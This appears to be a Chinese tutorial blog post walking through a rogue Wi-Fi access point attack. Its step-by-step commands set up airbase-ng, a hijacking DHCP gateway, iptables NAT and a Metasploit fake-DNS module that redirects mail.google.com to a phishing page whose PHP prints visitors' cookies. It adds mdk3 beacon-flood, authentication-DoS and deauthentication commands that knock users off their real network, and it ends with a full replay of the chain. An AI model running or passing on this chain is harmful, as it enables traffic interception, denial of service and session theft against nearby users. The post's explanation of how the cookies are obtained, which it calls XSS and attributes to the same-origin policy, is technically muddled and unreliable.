使用airbase-ng这款工具可以帮助我们建立Soft AP(伪AP),airbase-ng的使用参数如下:
Options:
-a bssid: set Access Point MAC address //设置AP的MAC地址
-i iface: capture packets from this interface //从指定接口抓取数据包(默认和数据包发送的口是同一个接口)
-w WEP key: use this WEP key to en-/decrypt packets //使用指定WEP密钥进行加密/解密数据包(用于设置WEP的加密参数)
-h MAC: source mac for MITM mode //MITM模式使用的源MAC地址
-f disallow: disallow specified client MACs (default: allow) //不允许指定客户端MAC地址(缺省:允许)
-W 0|1: [don't] set WEP flag in beacons 0|1 (default: auto) //[不要]设置WEP标志在信标0|1(缺省:默认不开启WEP,即默认是OPEN模式)
-q: quiet(do not print statistics) //安静模式(不要打印统计信息)
-v: verbose(print more messages) //冗长模式(打印更多信息)
-A: Ad-Hoc Mode(allows other clients to peer) //Ad-Hoc模式(允许其他客户端处于同等级)
-Y in|out|both: external packet processing //外部数据包处理
-c channel: sets the channel the AP is running on //设置AP运行在的信道
-X: hidden ESSID //隐藏ESSID
-s: force shared key authentication (default: auto) //强制使用共享密钥验证(缺省:自动,即默认设置的伪AP是WPA模式的)
-S: set shared key challenge length (default: 128) //设置共享密钥挑战长度(缺省:128)
-L: Caffe-Latte WEP attack (use if driver can't send frags) //Caffe-LatteWEP攻击(当不能发送碎片时)
-N: cfrag WEP attack (recommended) //cfragWEP攻击(推荐)
-x nbpps: number of packets per second (default: 100) //每秒发送数据包个数(缺省:100)
-y: disables responses to broadcast probes //取消对广播探查的响应(即对Prob Requst Broacast的数据包予以忽略)
-0: set all WPA,WEP,open tags. can't be used with -z & -Z //设置所有WPA,WEP,OPN标记,不能与-z同时用
-z type: sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104 //设置WPA1标记.
-Z type: same as -z, but for WPA2 //与-z一样,但是用于WPA2
-V type: fake EAPOL 1=MD5 2=SHA1 3=auto //伪装EAPOL(局域网扩展验证协议)
-F prefix: write all sent and received frames into pcap file //将所有发送和接受的帧写入pcap文件(这个很重要,它用来记录我们的捕获信息)
-P: respond to all probes, even when specifying ESSIDs //响应所有探查,即使指定了ESSID
-I interval: sets the beacon interval value in ms //设置信标时间间隔,单位毫秒
-C seconds: enables beaconing of probed ESSID values (requires -P) //允许探查信标的ESSID值(要求-P参数)
Filter options:
--bssid MAC: BSSID to filter/use //过滤/使用的BSSID
--bssids file: read a list of BSSIDs out of that file //从指定文件读取BSSID的清单
--client MAC: MAC of client to filter //客户端的MAC地址用以过滤
--clients file: read a list of MACs out of that file //从指定文件读取客户端MAC地址清单
--essid ESSID: specify a single ESSID (default: default) //指定一个ESSID(缺省值:default)
--essids file: read a list of ESSIDs out of that file //从指定文件读取指定的ESSID清单
使用下列命令可以简单的搭建一个Soft AP,在文章的后半部分我们会详细学习怎样模拟一个真实的伪AP(MAC、信道、加密方式等)
ifconfig -a 查看当前网卡情况
ifconfig wlan1 up 激活你的无线网卡
airmon-ng start wlan1 将你的无线网卡开启"Monitor"模式
airbase-ng mon0 -e "AirJJ" -c 6
注意到我们已经成功模拟了一个伪AP,但是这个伪AP和原始AP的各项参数还不是很一致,我们需要通过对目标AP进行信息收集,为我们的伪AP设置更高程度的仿真,这并不是很难,比起这个问题,我们当前需要首先解决的一个问题是: DHCP。实验中可以发现,我们的客户端即使已经连接上我们的伪AP之后,也会一直显示在”获取IP中…”(无法正常获取到IP),所以,我们还需要对我们的伪AP架设一个伪DHCP服务器
我们的伪DHCP服务和伪AP是搭建在同一个服务器上,在配置伪DHCP的时候,我们需要注意以下几点:
1. 客户端在连接上我们的伪AP之后,我们需要给它分配IP地址
2. DHCP配置文件中的DNS服务器IP要设置成我们的伪DNS地址
3. DHCP配置文件中的默认网关地址要设置成我们的伪AP的IP地址,将目标客户端的所有流量都劫持到我们的伪AP上,之后再通过iptables将流量导出到外网出口eth0
2. SoftAP的IP地址和Internet接口的IP地址不能在网一个段(这里将伪AP的IP设置为10.0.0.1)
我们手工搭建一个DHCP服务器
vim /etc/network/interfaces
auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.159.254
gateway 192.168.159.2
netmask 255.255.255.0
ifdown eth0
ifup eth0
vim /etc/resolv.conf
nameserver 192.168.159.2
apt-get -y install dhcp3-server
安装过程中遇到错误:
Errors were encountered while processing:
se-toolkit
w3af
E: Sub-process /usr/bin/dpkg returned an error code (1)
解决方案
http://blog.csdn.net/wzgl573537270/article/details/22001723
vim /etc/default/dhcp3-server
INTERFACES="at0"
cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf_backup
vim /etc/dhcp3/dhcpd.conf
option domain-name "hanxiao";
option routers 10.0.0.1; #默认网关
subnet 10.0.0.0 netmask 255.255.255.0
{
range 10.0.0.100 10.0.0.200; #地址池
option domain-name-servers 10.0.0.1; #默认DNS
option broadcast-address 10.0.0.255; #广播地址
}
default-lease-time 6000;
max-lease-time 72000;
在启动DHCP之前,要先启动伪AP,激活at0网口
ifconfig wlan1 up
airmon-ng start wlan1
airbase-ng mon0 -e "AirJJ" -c 1
这里要重点关注的是网关(option routers 10.0.0.1)的设置,我们的伪AP的IP地址也要设置成同样的IP地址,即达到劫持流量的目的
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1500
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
/etc/init.d/dhcp3-server restart
/etc/init.d/dhcp3-server start
DHCP服务器工作正常
用android手机连接上这个伪AP,可以看到,IP获取正常
0x3: Iptables流量牵引
我们目前通过伪AP、以及伪DHCP的架设,将目标客户端的流量都劫持到了我们的无线虚拟网卡at0上,要保证用户能正常上网,还需要使用Iptables做一次流量牵引,将at0上的流量NAT到真正的出口网卡eth0上,这样才算真正的伪AP(目标客户端还能正常上网、不会察觉有异常)
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j SNAT –to-source 192.168.159.254
iptables -t nat -A PREROUTING -d 192.168.159.254 -i eth0 -j DNAT –to 10.0.0.100
0x4: DNS配置
我们在DHCP服务器的配置文件中指定客户端的默认DNS为伪AP所在的本机(10.0.0.1)
所以,我们必须在10.0.0.1上架设一个DNS服务器,将客户端的DNS解析请求劫持到我们的的phning page(钓鱼页面)上
msf集成了一个模块,用于模拟一个DNS服务器
配置方法如下:
use auxiliary/server/fakedns
show options
set TARGETACTION FAKE
set TARGETDOMAIN mail.google.com
set TARGETHOST 10.0.0.1
run
从配置文件中我们可以看到,我们将mail.google.com(Gmail邮箱)的域名劫持到了10.0.0.1(本机上)
要注意的是:
1. fakedns这个msf模块只会劫持我们设置的域名,在本例中是mail.google.com
2. 对于其他的非目标域名(即不是mail.google.com的域名)则采取转发的方式,即走本机正常的DNS解析流程,即保证目标客户端的正常上网
客户端连接上我们的伪AP后,访问www.sina.cn是正常的
0x5: XSS中的同源策略
我们已经将用户访问mail.google.com的流量劫持到了我们的钓鱼页面
客户端连接上我们的伪AP后,访问mail.google.com,DNS服务器会返回10.0.0.1的IP地址,即会被劫持到我们的钓鱼页面,而在我们的钓鱼页面,我们就可以使用XSS攻击来获取目标客户端的Cookie信息,因为目标客户端的浏览器访问的是https://mail.google.com,所以根据同源策略,浏览器会把和mail.google.com这个域有关的cookie一起发送给服务器端(也就是我们的10.0.0.1机器),这样,就利用同源策略帮助我们偷取客户端的cookie。
因为是GMAIL是https连接,所以我们的钓鱼页面也是https连接,我们需要对我们的钓鱼页面所在的apache配置一下SSL
为了说明原理,我们的钓鱼页面可以这样简单的code一下
echo "Your are Hacked By hanxiao" . "";
$cookie = $_COOKIE;
foreach ($cookie as $key => $value)
{
$res .= $key . "=" . $value . ";";
}
echo $res;
?>
可以看到,劫持前,用户正在正常的访问GMAIL邮箱
我们启动伪AP、伪DHCP、伪DNS模块后,将用户的gmail流量劫持到了我们的钓鱼页面上,并打印出cookie
获取cookie成功,接下来就可以进行XSS攻击了,直接用cookie免登录
0x5: Deauth/DOS拒绝服务攻击
至此,我们已经理清了一个伪AP钓鱼劫持的攻击过程中涉及到的技术,但是,还有最后一个技术问题需要我们解决,我们创建的伪AP需要目标用户的”主动连接”,才能劫持流量,进行DNS钓鱼。但是,在真实场景中,用户一般不会去连接一个不熟悉的AP的,所以,我们还需要一种技术,能将用户和原始AP的连接强制断开,强制它连接到我们的伪AP上,而且要保证这个过程不引起用户的察觉
这里我们使用无线DOS工具MDK3,它能够发起如下攻击:
Beacon Flood Mode
我们知道,Beacon(管理帧)是AP发出来的,用来通知客户端当前AP的存在,这个模式可以产生大量死亡SSID(永远不会有响应的SSID)来充斥无线客户端的无线列表,从而扰乱无线使用者
mdk3 mon0 b -f /pentest/passwords/wordlists/rockyou.txt -t -c 1 -s 80
Authentication DoS
Authentication(管理帧)是客户端和AP进行身份认证时发送的数据帧。这是一种验证请求攻击模式:在这个模式里,软件自动模拟随机产生的mac向目标AP发起大量验证请求,可以导致AP忙于处
理过多的请求而停止对正常连接客户端的响应
mdk3 mon0 a -a 74:25:8a:47:3b:70 -s 80
(74:25:8a:47:3b:70是你的目标AP)
Basic probing and ESSID Bruteforce mode
基本探测AP信息和ESSID猜解模式
mdk3 mon0 p -b a -t 74:25:8a:47:3b:70 -s 100
Deauthentication/Disassociation Amok
Deauthentication/Disassociation(管理帧)是客户端和AP之间进行wireless断开连接通信的数据帧,即强制解除验证解除连接,在这个模式下,软件会向周围所有可见AP发起循环攻击
(有黑、白名单对攻击范围进行控制)
mdk3 mon0 d -s 120 -c 1,6,11
(这种攻击的强制断线效果比使用aireplay-ng来发送deauth攻击效果要好)
攻击重现实验
至此,我们已经解决了这个攻击姿势中所涉及到的所有技术难点,我们来从头梳理、重现一遍这整个攻击过程
开启无线网卡的Monitor模式
ifconfig -a
ifconfig wlan1 up
airmon-ng start wlan1
探测目标客户端所连接的AP,为伪AP的架设作准备
airodump-ng mon0
我们了解到以下信息
1. SSID(WiFi名称): AirJ
2. 加密方式: OPEN
3. 信道: 1
启动伪AP
airbase-ng mon0 -e “AirJ” -c 1
启动DHCP
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1500
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
/etc/init.d/dhcp3-server start
Iptables流量牵引
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j SNAT –to-source 192.168.159.254
iptables -t nat -A PREROUTING -d 192.168.159.254 -i eth0 -j DNAT –to 10.0.0.100
启动DNS
msfconsole
use auxiliary/server/fakedns
show options
set TARGETACTION FAKE
set TARGETDOMAIN mail.google.com
set TARGETHOST 10.0.0.1
run
使用MDK将客户端强制踢下线,迫使其连接到我们的伪AP上
mdk3 mon0 d -s 120 -c 1,6,11
劫持成功
等待客户端访问GMAIL,对其发送DNS+XSS钓鱼攻击
成功获取到客户端的cookie数据